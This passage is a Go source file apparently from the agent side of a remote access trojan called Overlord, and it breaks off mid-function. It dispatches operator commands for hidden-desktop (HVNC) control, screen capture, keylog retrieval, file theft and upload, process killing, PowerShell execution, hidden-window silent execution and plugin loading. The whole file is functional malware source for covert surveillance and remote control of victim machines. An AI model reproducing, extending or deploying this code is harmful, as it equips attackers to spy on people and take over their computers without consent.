Files
overlord/Overlord-Client/cmd/agent/handlers/command.go
T

1407 lines
36 KiB
Go
Raw Normal View History

2026-03-05 00:04:26 -06:00
package handlers
import (
"context"
"errors"
"log"
"os"
goruntime "runtime"
"strconv"
"strings"
"sync"
"time"
"overlord-client/cmd/agent/capture"
"overlord-client/cmd/agent/console"
"overlord-client/cmd/agent/persistence"
"overlord-client/cmd/agent/plugins"
"overlord-client/cmd/agent/runtime"
"overlord-client/cmd/agent/wire"
)
var ErrReconnect = errors.New("reconnect requested")
var (
activeCommands = make(map[string]context.CancelFunc)
activeCommandsMu sync.Mutex
)
func cancelAllCommands() {
activeCommandsMu.Lock()
defer activeCommandsMu.Unlock()
for id, cancel := range activeCommands {
if cancel != nil {
cancel()
}
delete(activeCommands, id)
}
}
func resetForReconnect(env *runtime.Env) {
if env == nil {
return
}
cancelAllCommands()
env.DesktopMu.Lock()
if env.DesktopCancel != nil {
env.DesktopCancel()
}
waitStreamStop(env.DesktopDone, "desktop")
env.DesktopCancel = nil
env.DesktopDone = nil
env.MouseControl = false
env.KeyboardControl = false
env.CursorCapture = false
env.SelectedDisplay = GetPersistedDisplay()
env.DesktopMu.Unlock()
env.HVNCMu.Lock()
if env.HVNCCancel != nil {
env.HVNCCancel()
}
waitStreamStop(env.HVNCDone, "hvnc")
env.HVNCCancel = nil
env.HVNCDone = nil
env.HVNCMouseControl = false
env.HVNCKeyboardControl = false
env.HVNCCursorCapture = false
env.HVNCSelectedDisplay = 0
env.HVNCMu.Unlock()
if env.Console != nil {
env.Console.StopAll()
}
env.NotificationMu.Lock()
env.NotificationKeywords = nil
env.NotificationMinIntervalMs = 0
env.NotificationMu.Unlock()
}
func removePersistence() error {
return persistence.Remove()
}
func registerCancellableCommand(cmdID string, cancel context.CancelFunc) {
activeCommandsMu.Lock()
defer activeCommandsMu.Unlock()
activeCommands[cmdID] = cancel
}
func unregisterCommand(cmdID string) {
activeCommandsMu.Lock()
defer activeCommandsMu.Unlock()
delete(activeCommands, cmdID)
}
func waitStreamStop(done <-chan struct{}, name string) {
if done == nil {
return
}
select {
case <-done:
return
case <-time.After(2 * time.Second):
log.Printf("%s: stop timed out", name)
}
}
func payloadAsMap(payload interface{}) map[string]interface{} {
switch v := payload.(type) {
case map[string]interface{}:
return v
case map[interface{}]interface{}:
out := make(map[string]interface{}, len(v))
for key, val := range v {
switch ks := key.(type) {
case string:
out[ks] = val
case []byte:
out[string(ks)] = val
}
}
return out
default:
return nil
}
}
func payloadInt32(payload map[string]interface{}, key string) (int32, bool) {
if payload == nil {
return 0, false
}
if v, ok := payload[key]; ok {
switch val := v.(type) {
case float64:
return int32(val), true
case float32:
return int32(val), true
case int:
return int32(val), true
case int8:
return int32(val), true
case int16:
return int32(val), true
case int32:
return val, true
case int64:
return int32(val), true
case uint:
return int32(val), true
case uint8:
return int32(val), true
case uint16:
return int32(val), true
case uint32:
return int32(val), true
case uint64:
return int32(val), true
}
}
return 0, false
}
func payloadInt(payload map[string]interface{}, key string) (int, bool) {
if payload == nil {
return 0, false
}
if v, ok := payload[key]; ok {
switch val := v.(type) {
case float64:
return int(val), true
case float32:
return int(val), true
case int:
return val, true
case int8:
return int(val), true
case int16:
return int(val), true
case int32:
return int(val), true
case int64:
return int(val), true
case uint:
return int(val), true
case uint8:
return int(val), true
case uint16:
return int(val), true
case uint32:
return int(val), true
case uint64:
return int(val), true
}
}
return 0, false
}
func cancelCommand(cmdID string) bool {
activeCommandsMu.Lock()
defer activeCommandsMu.Unlock()
if cancel, exists := activeCommands[cmdID]; exists {
cancel()
delete(activeCommands, cmdID)
return true
}
return false
}
func sendCommandResultSafe(env *runtime.Env, cmdID string, ok bool, message string) {
res := wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: ok}
if message != "" {
res.Message = message
}
if err := wire.WriteMsg(context.Background(), env.Conn, res); err != nil {
log.Printf("command_result send failed: %v", err)
}
}
func payloadNumberToInt64(value interface{}) int64 {
switch v := value.(type) {
case int:
return int64(v)
case int8:
return int64(v)
case int16:
return int64(v)
case int32:
return int64(v)
case int64:
return v
case uint:
return int64(v)
case uint8:
return int64(v)
case uint16:
return int64(v)
case uint32:
return int64(v)
case uint64:
return int64(v)
case float32:
return int64(v)
case float64:
return int64(v)
default:
return 0
}
}
func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]interface{}) error {
cmdID, _ := envelope["id"].(string)
action, _ := envelope["commandType"].(string)
switch action {
case "screenshot":
payload, _ := envelope["payload"].(map[string]interface{})
allDisplays := false
if payload != nil {
if v, ok := payload["allDisplays"].(bool); ok && v {
allDisplays = true
} else if mode, ok := payload["mode"].(string); ok && mode == "notification" {
allDisplays = true
}
}
if goruntime.GOOS == "windows" {
allDisplays = true
}
return HandleScreenshot(ctx, env, cmdID, allDisplays)
case "plugin_load":
payload, _ := envelope["payload"].(map[string]interface{})
if payload == nil {
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: "missing payload"})
}
manifestRaw, _ := payload["manifest"].(map[string]interface{})
wasmBytes, _ := payload["wasm"].([]byte)
if env.Plugins == nil {
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: "plugin manager not ready"})
}
manifest, err := plugins.ManifestFromMap(manifestRaw)
if err != nil {
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: err.Error()})
}
if err := env.Plugins.Load(ctx, manifest, wasmBytes); err != nil {
_ = wire.WriteMsg(ctx, env.Conn, wire.PluginEvent{Type: "plugin_event", PluginID: manifest.ID, Event: "error", Error: err.Error()})
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: err.Error()})
}
_ = wire.WriteMsg(ctx, env.Conn, wire.PluginEvent{Type: "plugin_event", PluginID: manifest.ID, Event: "loaded"})
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: true})
case "plugin_load_init":
payload, _ := envelope["payload"].(map[string]interface{})
if payload == nil || env.Plugins == nil {
return nil
}
manifestRaw, _ := payload["manifest"].(map[string]interface{})
totalSize := toInt(payload["size"])
totalChunks := toInt(payload["chunks"])
manifest, err := plugins.ManifestFromMap(manifestRaw)
if err != nil {
return nil
}
_ = env.Plugins.StartBundle(manifest, totalSize, totalChunks)
return nil
case "plugin_load_chunk":
payload, _ := envelope["payload"].(map[string]interface{})
if payload == nil || env.Plugins == nil {
return nil
}
pluginId, _ := payload["pluginId"].(string)
index := toInt(payload["index"])
data, _ := payload["data"].([]byte)
_ = env.Plugins.AddChunk(pluginId, index, data)
return nil
case "plugin_load_finish":
payload, _ := envelope["payload"].(map[string]interface{})
if payload == nil || env.Plugins == nil {
return nil
}
pluginId, _ := payload["pluginId"].(string)
if pluginId == "" {
return nil
}
if err := env.Plugins.FinalizeBundle(ctx, pluginId); err != nil {
_ = wire.WriteMsg(ctx, env.Conn, wire.PluginEvent{Type: "plugin_event", PluginID: pluginId, Event: "error", Error: err.Error()})
return nil
}
_ = wire.WriteMsg(ctx, env.Conn, wire.PluginEvent{Type: "plugin_event", PluginID: pluginId, Event: "loaded"})
return nil
case "plugin_unload":
payload, _ := envelope["payload"].(map[string]interface{})
if payload == nil || env.Plugins == nil {
return nil
}
pluginId, _ := payload["pluginId"].(string)
if pluginId == "" {
return nil
}
env.Plugins.Unload(pluginId)
_ = wire.WriteMsg(ctx, env.Conn, wire.PluginEvent{Type: "plugin_event", PluginID: pluginId, Event: "unloaded"})
return nil
case "desktop_start":
env.DesktopMu.Lock()
if env.DesktopCancel != nil {
env.DesktopCancel()
waitStreamStop(env.DesktopDone, "desktop")
}
desktopCtx, cancel := context.WithCancel(ctx)
env.DesktopCancel = cancel
done := make(chan struct{})
env.DesktopDone = done
goSafe("desktop stream", env.Cancel, func() {
log.Printf("desktop: start requested")
_ = DesktopStart(desktopCtx, env)
close(done)
})
env.DesktopMu.Unlock()
sendCommandResultSafe(env, cmdID, true, "")
return nil
case "desktop_stop":
env.DesktopMu.Lock()
log.Printf("desktop: stop requested")
if env.DesktopCancel != nil {
env.DesktopCancel()
}
waitStreamStop(env.DesktopDone, "desktop")
env.DesktopCancel = nil
env.DesktopDone = nil
env.DesktopMu.Unlock()
sendCommandResultSafe(env, cmdID, true, "")
return nil
case "desktop_select_display":
payload, _ := envelope["payload"].(map[string]interface{})
disp := 0
if payload != nil {
displayVal := payload["display"]
if v, ok := displayVal.(int8); ok {
disp = int(v)
} else if v, ok := displayVal.(int16); ok {
disp = int(v)
} else if v, ok := displayVal.(int32); ok {
disp = int(v)
} else if v, ok := displayVal.(int64); ok {
disp = int(v)
} else if v, ok := displayVal.(int); ok {
disp = v
} else if v, ok := displayVal.(uint8); ok {
disp = int(v)
} else if v, ok := displayVal.(float64); ok {
disp = int(v)
}
}
log.Printf("desktop: select display %d", disp)
_ = DesktopSelect(ctx, env, disp)
sendCommandResultSafe(env, cmdID, true, "")
return nil
case "desktop_enable_mouse":
payload, _ := envelope["payload"].(map[string]interface{})
enabled := true
if payload != nil {
if v, ok := payload["enabled"].(bool); ok {
enabled = v
}
}
log.Printf("desktop: mouse control %v", enabled)
_ = DesktopMouseControl(ctx, env, enabled)
sendCommandResultSafe(env, cmdID, true, "")
return nil
case "desktop_enable_keyboard":
payload, _ := envelope["payload"].(map[string]interface{})
enabled := true
if payload != nil {
if v, ok := payload["enabled"].(bool); ok {
enabled = v
}
}
log.Printf("desktop: keyboard control %v", enabled)
_ = DesktopKeyboardControl(ctx, env, enabled)
sendCommandResultSafe(env, cmdID, true, "")
return nil
case "desktop_enable_cursor":
payload, _ := envelope["payload"].(map[string]interface{})
enabled := false
if payload != nil {
if v, ok := payload["enabled"].(bool); ok {
enabled = v
}
}
log.Printf("desktop: cursor capture %v", enabled)
_ = DesktopCursorControl(ctx, env, enabled)
sendCommandResultSafe(env, cmdID, true, "")
return nil
case "desktop_set_duplication":
payload, _ := envelope["payload"].(map[string]interface{})
enabled := false
if payload != nil {
if v, ok := payload["enabled"].(bool); ok {
enabled = v
}
}
log.Printf("desktop: duplication capture %v", enabled)
_ = DesktopDuplicationControl(ctx, env, enabled)
sendCommandResultSafe(env, cmdID, true, "")
return nil
case "desktop_set_quality":
payload, _ := envelope["payload"].(map[string]interface{})
quality := 90
codec := ""
if payload != nil {
if q, ok := payloadInt(payload, "quality"); ok {
quality = q
}
if v, ok := payload["codec"].(string); ok {
codec = v
}
}
log.Printf("desktop: set quality=%d codec=%s", quality, codec)
capture.SetQualityAndCodec(quality, codec)
sendCommandResultSafe(env, cmdID, true, "")
return nil
case "desktop_mouse_move":
if !env.MouseControl {
sendCommandResultSafe(env, cmdID, true, "")
return nil
}
payload := payloadAsMap(envelope["payload"])
x, _ := payloadInt32(payload, "x")
y, _ := payloadInt32(payload, "y")
absX, absY := resolveDesktopPoint(env.SelectedDisplay, x, y)
log.Printf("desktop: mouse move %d,%d -> %d,%d", x, y, absX, absY)
setCursorPos(absX, absY)
sendCommandResultSafe(env, cmdID, true, "")
return nil
case "desktop_mouse_down":
if !env.MouseControl {
sendCommandResultSafe(env, cmdID, true, "")
return nil
}
payload := payloadAsMap(envelope["payload"])
btn, _ := payloadInt(payload, "button")
if x, okX := payloadInt32(payload, "x"); okX {
if y, okY := payloadInt32(payload, "y"); okY {
absX, absY := resolveDesktopPoint(env.SelectedDisplay, x, y)
setCursorPos(absX, absY)
}
}
log.Printf("desktop: mouse down %d", btn)
sendMouseDown(btn)
sendCommandResultSafe(env, cmdID, true, "")
return nil
case "desktop_mouse_up":
if !env.MouseControl {
sendCommandResultSafe(env, cmdID, true, "")
return nil
}
payload := payloadAsMap(envelope["payload"])
btn, _ := payloadInt(payload, "button")
if x, okX := payloadInt32(payload, "x"); okX {
if y, okY := payloadInt32(payload, "y"); okY {
absX, absY := resolveDesktopPoint(env.SelectedDisplay, x, y)
setCursorPos(absX, absY)
}
}
log.Printf("desktop: mouse up %d", btn)
sendMouseUp(btn)
sendCommandResultSafe(env, cmdID, true, "")
return nil
case "desktop_key_down":
if !env.KeyboardControl {
sendCommandResultSafe(env, cmdID, true, "")
return nil
}
payload, _ := envelope["payload"].(map[string]interface{})
code := ""
if payload != nil {
if v, ok := payload["code"].(string); ok {
code = v
}
}
if vk := keyCodeToVK(code); vk != 0 {
log.Printf("desktop: key down code=%s vk=%d", code, vk)
sendKeyDown(vk)
}
sendCommandResultSafe(env, cmdID, true, "")
return nil
case "desktop_key_up":
if !env.KeyboardControl {
sendCommandResultSafe(env, cmdID, true, "")
return nil
}
payload, _ := envelope["payload"].(map[string]interface{})
code := ""
if payload != nil {
if v, ok := payload["code"].(string); ok {
code = v
}
}
if vk := keyCodeToVK(code); vk != 0 {
log.Printf("desktop: key up code=%s vk=%d", code, vk)
sendKeyUp(vk)
}
sendCommandResultSafe(env, cmdID, true, "")
return nil
case "desktop_text":
if !env.KeyboardControl {
sendCommandResultSafe(env, cmdID, true, "")
return nil
}
payload, _ := envelope["payload"].(map[string]interface{})
text := ""
if payload != nil {
if v, ok := payload["text"].(string); ok {
text = v
}
}
if text != "" {
log.Printf("desktop: text input len=%d", len(text))
sendTextInput(text)
}
sendCommandResultSafe(env, cmdID, true, "")
return nil
// ==================== HVNC COMMANDS ====================
case "hvnc_start":
env.HVNCMu.Lock()
if env.HVNCCancel != nil {
env.HVNCCancel()
waitStreamStop(env.HVNCDone, "hvnc")
}
hvncCtx, cancel := context.WithCancel(ctx)
env.HVNCCancel = cancel
done := make(chan struct{})
env.HVNCDone = done
goSafe("hvnc stream", env.Cancel, func() {
log.Printf("hvnc: start requested")
_ = HVNCStart(hvncCtx, env)
close(done)
})
env.HVNCMu.Unlock()
sendCommandResultSafe(env, cmdID, true, "")
return nil
case "hvnc_stop":
env.HVNCMu.Lock()
log.Printf("hvnc: stop requested")
if env.HVNCCancel != nil {
env.HVNCCancel()
}
waitStreamStop(env.HVNCDone, "hvnc")
env.HVNCCancel = nil
env.HVNCDone = nil
env.HVNCMu.Unlock()
sendCommandResultSafe(env, cmdID, true, "")
return nil
case "hvnc_select_display":
payload, _ := envelope["payload"].(map[string]interface{})
disp := 0
if payload != nil {
displayVal := payload["display"]
if v, ok := displayVal.(int8); ok {
disp = int(v)
} else if v, ok := displayVal.(int16); ok {
disp = int(v)
} else if v, ok := displayVal.(int32); ok {
disp = int(v)
} else if v, ok := displayVal.(int64); ok {
disp = int(v)
} else if v, ok := displayVal.(int); ok {
disp = v
} else if v, ok := displayVal.(uint8); ok {
disp = int(v)
} else if v, ok := displayVal.(float64); ok {
disp = int(v)
}
}
log.Printf("hvnc: select display %d", disp)
_ = HVNCSelect(ctx, env, disp)
sendCommandResultSafe(env, cmdID, true, "")
return nil
case "hvnc_enable_mouse":
payload, _ := envelope["payload"].(map[string]interface{})
enabled := true
if payload != nil {
if v, ok := payload["enabled"].(bool); ok {
enabled = v
}
}
log.Printf("hvnc: mouse control %v", enabled)
_ = HVNCMouseControl(ctx, env, enabled)
sendCommandResultSafe(env, cmdID, true, "")
return nil
case "hvnc_enable_keyboard":
payload, _ := envelope["payload"].(map[string]interface{})
enabled := true
if payload != nil {
if v, ok := payload["enabled"].(bool); ok {
enabled = v
}
}
log.Printf("hvnc: keyboard control %v", enabled)
_ = HVNCKeyboardControl(ctx, env, enabled)
sendCommandResultSafe(env, cmdID, true, "")
return nil
case "hvnc_enable_cursor":
payload, _ := envelope["payload"].(map[string]interface{})
enabled := false
if payload != nil {
if v, ok := payload["enabled"].(bool); ok {
enabled = v
}
}
log.Printf("hvnc: cursor capture %v", enabled)
_ = HVNCCursorControl(ctx, env, enabled)
sendCommandResultSafe(env, cmdID, true, "")
return nil
case "hvnc_set_quality":
payload, _ := envelope["payload"].(map[string]interface{})
quality := 90
codec := ""
if payload != nil {
if q, ok := payloadInt(payload, "quality"); ok {
quality = q
}
if v, ok := payload["codec"].(string); ok {
codec = v
}
}
log.Printf("hvnc: set quality=%d codec=%s", quality, codec)
capture.SetQualityAndCodec(quality, codec)
sendCommandResultSafe(env, cmdID, true, "")
return nil
case "hvnc_mouse_move":
if !env.HVNCMouseControl {
sendCommandResultSafe(env, cmdID, true, "")
return nil
}
payload, _ := envelope["payload"].(map[string]interface{})
x, y := int32(0), int32(0)
if payload != nil {
switch v := payload["x"].(type) {
case float64:
x = int32(v)
case float32:
x = int32(v)
case int:
x = int32(v)
case int8:
x = int32(v)
case int16:
x = int32(v)
case int32:
x = v
case int64:
x = int32(v)
case uint:
x = int32(v)
case uint8:
x = int32(v)
case uint16:
x = int32(v)
case uint32:
x = int32(v)
case uint64:
x = int32(v)
}
switch v := payload["y"].(type) {
case float64:
y = int32(v)
case float32:
y = int32(v)
case int:
y = int32(v)
case int8:
y = int32(v)
case int16:
y = int32(v)
case int32:
y = v
case int64:
y = int32(v)
case uint:
y = int32(v)
case uint8:
y = int32(v)
case uint16:
y = int32(v)
case uint32:
y = int32(v)
case uint64:
y = int32(v)
}
}
log.Printf("hvnc: mouse move %d,%d", x, y)
_ = capture.HVNCInputMouseMove(env.HVNCSelectedDisplay, x, y)
sendCommandResultSafe(env, cmdID, true, "")
return nil
case "hvnc_mouse_down":
if !env.HVNCMouseControl {
sendCommandResultSafe(env, cmdID, true, "")
return nil
}
payload, _ := envelope["payload"].(map[string]interface{})
btn := 0
x, y := int32(0), int32(0)
if payload != nil {
switch v := payload["button"].(type) {
case float64:
btn = int(v)
case float32:
btn = int(v)
case int:
btn = v
case int8:
btn = int(v)
case int16:
btn = int(v)
case int32:
btn = int(v)
case int64:
btn = int(v)
case uint:
btn = int(v)
case uint8:
btn = int(v)
case uint16:
btn = int(v)
case uint32:
btn = int(v)
case uint64:
btn = int(v)
}
switch v := payload["x"].(type) {
case float64:
x = int32(v)
case float32:
x = int32(v)
case int:
x = int32(v)
case int8:
x = int32(v)
case int16:
x = int32(v)
case int32:
x = v
case int64:
x = int32(v)
case uint:
x = int32(v)
case uint8:
x = int32(v)
case uint16:
x = int32(v)
case uint32:
x = int32(v)
case uint64:
x = int32(v)
}
switch v := payload["y"].(type) {
case float64:
y = int32(v)
case float32:
y = int32(v)
case int:
y = int32(v)
case int8:
y = int32(v)
case int16:
y = int32(v)
case int32:
y = v
case int64:
y = int32(v)
case uint:
y = int32(v)
case uint8:
y = int32(v)
case uint16:
y = int32(v)
case uint32:
y = int32(v)
case uint64:
y = int32(v)
}
}
log.Printf("hvnc: mouse down %d", btn)
if x != 0 || y != 0 {
_ = capture.HVNCInputMouseMove(env.HVNCSelectedDisplay, x, y)
}
_ = capture.HVNCInputMouseDown(btn)
sendCommandResultSafe(env, cmdID, true, "")
return nil
case "hvnc_mouse_up":
if !env.HVNCMouseControl {
sendCommandResultSafe(env, cmdID, true, "")
return nil
}
payload, _ := envelope["payload"].(map[string]interface{})
btn := 0
x, y := int32(0), int32(0)
if payload != nil {
switch v := payload["button"].(type) {
case float64:
btn = int(v)
case float32:
btn = int(v)
case int:
btn = v
case int8:
btn = int(v)
case int16:
btn = int(v)
case int32:
btn = int(v)
case int64:
btn = int(v)
case uint:
btn = int(v)
case uint8:
btn = int(v)
case uint16:
btn = int(v)
case uint32:
btn = int(v)
case uint64:
btn = int(v)
}
switch v := payload["x"].(type) {
case float64:
x = int32(v)
case float32:
x = int32(v)
case int:
x = int32(v)
case int8:
x = int32(v)
case int16:
x = int32(v)
case int32:
x = v
case int64:
x = int32(v)
case uint:
x = int32(v)
case uint8:
x = int32(v)
case uint16:
x = int32(v)
case uint32:
x = int32(v)
case uint64:
x = int32(v)
}
switch v := payload["y"].(type) {
case float64:
y = int32(v)
case float32:
y = int32(v)
case int:
y = int32(v)
case int8:
y = int32(v)
case int16:
y = int32(v)
case int32:
y = v
case int64:
y = int32(v)
case uint:
y = int32(v)
case uint8:
y = int32(v)
case uint16:
y = int32(v)
case uint32:
y = int32(v)
case uint64:
y = int32(v)
}
}
log.Printf("hvnc: mouse up %d", btn)
if x != 0 || y != 0 {
_ = capture.HVNCInputMouseMove(env.HVNCSelectedDisplay, x, y)
}
_ = capture.HVNCInputMouseUp(btn)
sendCommandResultSafe(env, cmdID, true, "")
return nil
case "hvnc_mouse_wheel":
if !env.HVNCMouseControl {
sendCommandResultSafe(env, cmdID, true, "")
return nil
}
payload, _ := envelope["payload"].(map[string]interface{})
delta := int32(0)
x, y := int32(0), int32(0)
if payload != nil {
switch v := payload["delta"].(type) {
case float64:
delta = int32(v)
case float32:
delta = int32(v)
case int:
delta = int32(v)
case int8:
delta = int32(v)
case int16:
delta = int32(v)
case int32:
delta = v
case int64:
delta = int32(v)
case uint:
delta = int32(v)
case uint8:
delta = int32(v)
case uint16:
delta = int32(v)
case uint32:
delta = int32(v)
case uint64:
delta = int32(v)
}
switch v := payload["x"].(type) {
case float64:
x = int32(v)
case float32:
x = int32(v)
case int:
x = int32(v)
case int8:
x = int32(v)
case int16:
x = int32(v)
case int32:
x = v
case int64:
x = int32(v)
case uint:
x = int32(v)
case uint8:
x = int32(v)
case uint16:
x = int32(v)
case uint32:
x = int32(v)
case uint64:
x = int32(v)
}
switch v := payload["y"].(type) {
case float64:
y = int32(v)
case float32:
y = int32(v)
case int:
y = int32(v)
case int8:
y = int32(v)
case int16:
y = int32(v)
case int32:
y = v
case int64:
y = int32(v)
case uint:
y = int32(v)
case uint8:
y = int32(v)
case uint16:
y = int32(v)
case uint32:
y = int32(v)
case uint64:
y = int32(v)
}
}
if x != 0 || y != 0 {
_ = capture.HVNCInputMouseMove(env.HVNCSelectedDisplay, x, y)
}
_ = capture.HVNCInputMouseWheel(delta)
sendCommandResultSafe(env, cmdID, true, "")
return nil
case "hvnc_key_down":
if !env.HVNCKeyboardControl {
sendCommandResultSafe(env, cmdID, true, "")
return nil
}
payload, _ := envelope["payload"].(map[string]interface{})
code := ""
if payload != nil {
if v, ok := payload["code"].(string); ok {
code = v
}
}
if vk := keyCodeToVKHVNC(code); vk != 0 {
log.Printf("hvnc: key down code=%s vk=%d", code, vk)
_ = capture.HVNCInputKeyDown(vk)
}
sendCommandResultSafe(env, cmdID, true, "")
return nil
case "hvnc_key_up":
if !env.HVNCKeyboardControl {
sendCommandResultSafe(env, cmdID, true, "")
return nil
}
payload, _ := envelope["payload"].(map[string]interface{})
code := ""
if payload != nil {
if v, ok := payload["code"].(string); ok {
code = v
}
}
if vk := keyCodeToVKHVNC(code); vk != 0 {
log.Printf("hvnc: key up code=%s vk=%d", code, vk)
_ = capture.HVNCInputKeyUp(vk)
}
sendCommandResultSafe(env, cmdID, true, "")
return nil
case "hvnc_start_process":
payload, _ := envelope["payload"].(map[string]interface{})
filePath := ""
if payload != nil {
if v, ok := payload["path"].(string); ok {
filePath = v
}
}
log.Printf("hvnc: start process %q", filePath)
err := capture.StartHVNCProcess(filePath)
if err != nil {
sendCommandResultSafe(env, cmdID, false, err.Error())
return nil
}
sendCommandResultSafe(env, cmdID, true, "")
return nil
case "console_start":
sessionID, _ := envelopePayloadString(envelope, "sessionId")
cols, rows := envelopePayloadInts(envelope)
if sessionID == "" {
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: "missing session id"})
}
if err := console.Start(ctx, env, sessionID, cols, rows); err != nil {
_ = wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: err.Error()})
return nil
}
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: true})
case "console_input":
sessionID, _ := envelopePayloadString(envelope, "sessionId")
data, _ := envelopePayloadString(envelope, "data")
if sessionID != "" && data != "" {
_ = console.Input(sessionID, data)
}
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: true})
case "console_stop":
sessionID, _ := envelopePayloadString(envelope, "sessionId")
if sessionID != "" {
console.Stop(sessionID)
}
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: true})
case "console_resize":
sessionID, _ := envelopePayloadString(envelope, "sessionId")
cols, rows := envelopePayloadInts(envelope)
_ = sessionID
console.Resize(sessionID, cols, rows)
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: true})
}
switch action {
case "file_list":
path, _ := envelopePayloadString(envelope, "path")
return HandleFileList(ctx, env, cmdID, path)
case "file_download":
path, _ := envelopePayloadString(envelope, "path")
return HandleFileDownload(ctx, env, cmdID, path)
case "file_upload":
payload, _ := envelope["payload"].(map[string]interface{})
path, _ := payload["path"].(string)
offset := payloadNumberToInt64(payload["offset"])
total := payloadNumberToInt64(payload["total"])
transferID, _ := payload["transferId"].(string)
data := []byte{}
if d, ok := payload["data"].([]byte); ok {
data = d
}
return HandleFileUpload(ctx, env, cmdID, path, data, offset, total, transferID)
case "file_delete":
path, _ := envelopePayloadString(envelope, "path")
return HandleFileDelete(ctx, env, cmdID, path)
case "file_mkdir":
path, _ := envelopePayloadString(envelope, "path")
return HandleFileMkdir(ctx, env, cmdID, path)
case "file_zip":
path, _ := envelopePayloadString(envelope, "path")
zipCtx, cancel := context.WithCancel(ctx)
registerCancellableCommand(cmdID, cancel)
goSafe("file_zip", env.Cancel, func() {
defer unregisterCommand(cmdID)
if err := HandleFileZip(zipCtx, env, cmdID, path); err != nil && err != context.Canceled {
log.Printf("file_zip error: %v", err)
}
})
return nil
case "file_read":
payload, _ := envelope["payload"].(map[string]interface{})
path, _ := payload["path"].(string)
maxSize := int64(0)
if ms, ok := payload["maxSize"].(float64); ok {
maxSize = int64(ms)
}
return HandleFileRead(ctx, env, cmdID, path, maxSize)
case "file_write":
payload, _ := envelope["payload"].(map[string]interface{})
path, _ := payload["path"].(string)
content, _ := payload["content"].(string)
return HandleFileWrite(ctx, env, cmdID, path, content)
case "file_search":
payload, _ := envelope["payload"].(map[string]interface{})
searchID, _ := payload["searchId"].(string)
basePath, _ := payload["path"].(string)
pattern, _ := payload["pattern"].(string)
searchContent := false
if sc, ok := payload["searchContent"].(bool); ok {
searchContent = sc
}
maxResults := 0
if mr, ok := payload["maxResults"].(float64); ok {
maxResults = int(mr)
}
return HandleFileSearch(ctx, env, cmdID, searchID, basePath, pattern, searchContent, maxResults)
case "file_copy":
payload, _ := envelope["payload"].(map[string]interface{})
source, _ := payload["source"].(string)
dest, _ := payload["dest"].(string)
return HandleFileCopy(ctx, env, cmdID, source, dest)
case "file_move":
payload, _ := envelope["payload"].(map[string]interface{})
source, _ := payload["source"].(string)
dest, _ := payload["dest"].(string)
return HandleFileMove(ctx, env, cmdID, source, dest)
case "file_chmod":
payload, _ := envelope["payload"].(map[string]interface{})
path, _ := payload["path"].(string)
mode, _ := payload["mode"].(string)
return HandleFileChmod(ctx, env, cmdID, path, mode)
case "file_execute":
payload, _ := envelope["payload"].(map[string]interface{})
path, _ := payload["path"].(string)
return HandleFileExecute(ctx, env, cmdID, path)
case "process_list":
return HandleProcessList(ctx, env, cmdID)
case "process_kill":
payload, _ := envelope["payload"].(map[string]interface{})
if payload == nil {
if rawPayload, ok := envelope["payload"].(map[interface{}]interface{}); ok {
payload = make(map[string]interface{}, len(rawPayload))
for k, v := range rawPayload {
ks, ok := k.(string)
if !ok {
continue
}
payload[ks] = v
}
}
}
pid := int32(0)
if p, ok := payload["pid"].(float64); ok {
pid = int32(p)
}
if p, ok := payload["pid"].(string); ok {
if parsed, err := strconv.Atoi(p); err == nil {
pid = int32(parsed)
}
}
if p, ok := payload["pid"].(uint16); ok {
pid = int32(p)
}
if p, ok := payload["pid"].(uint8); ok {
pid = int32(p)
}
if p, ok := payload["pid"].(uint64); ok {
pid = int32(p)
}
if p, ok := payload["pid"].(uint32); ok {
pid = int32(p)
}
if p, ok := payload["pid"].(uint); ok {
pid = int32(p)
}
if p, ok := payload["pid"].(int32); ok {
pid = p
}
if p, ok := payload["pid"].(int64); ok {
pid = int32(p)
}
if p, ok := payload["pid"].(int); ok {
pid = int32(p)
}
return HandleProcessKill(ctx, env, cmdID, pid)
case "keylog_list":
return HandleKeylogList(ctx, env, cmdID)
case "keylog_retrieve":
payload, _ := envelope["payload"].(map[string]interface{})
filename, _ := payload["filename"].(string)
return HandleKeylogRetrieve(ctx, env, cmdID, filename)
case "keylog_clear_all":
return HandleKeylogClearAll(ctx, env, cmdID)
case "keylog_delete":
payload, _ := envelope["payload"].(map[string]interface{})
filename, _ := payload["filename"].(string)
return HandleKeylogDelete(ctx, env, cmdID, filename)
case "script_exec":
payload, _ := envelope["payload"].(map[string]interface{})
scriptContent, _ := payload["script"].(string)
scriptType, _ := payload["type"].(string)
if scriptType == "" {
scriptType = "powershell"
}
return HandleScriptExecute(ctx, env, cmdID, scriptContent, scriptType)
case "silent_exec":
payload, _ := envelope["payload"].(map[string]interface{})
if payload == nil {
if rawPayload, ok := envelope["payload"].(map[interface{}]interface{}); ok {
payload = make(map[string]interface{}, len(rawPayload))
for k, v := range rawPayload {
ks, ok := k.(string)
if !ok {
continue
}
payload[ks] = v
}
}
}
command, _ := payload["command"].(string)
command = strings.TrimSpace(command)
if len(command) >= 2 {
if (command[0] == '"' && command[len(command)-1] == '"') || (command[0] == '\'' && command[len(command)-1] == '\'') {
command = command[1 : len(command)-1]
}
}
argsRaw, _ := payload["args"].(string)
hideWindow := true
if v, ok := payload["hideWindow"].(bool); ok {
hideWindow = v
}
cwd, _ := payload["cwd"].(string)
if command == "" {
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: "missing command"})
}
args := parseCommandArgs(argsRaw)
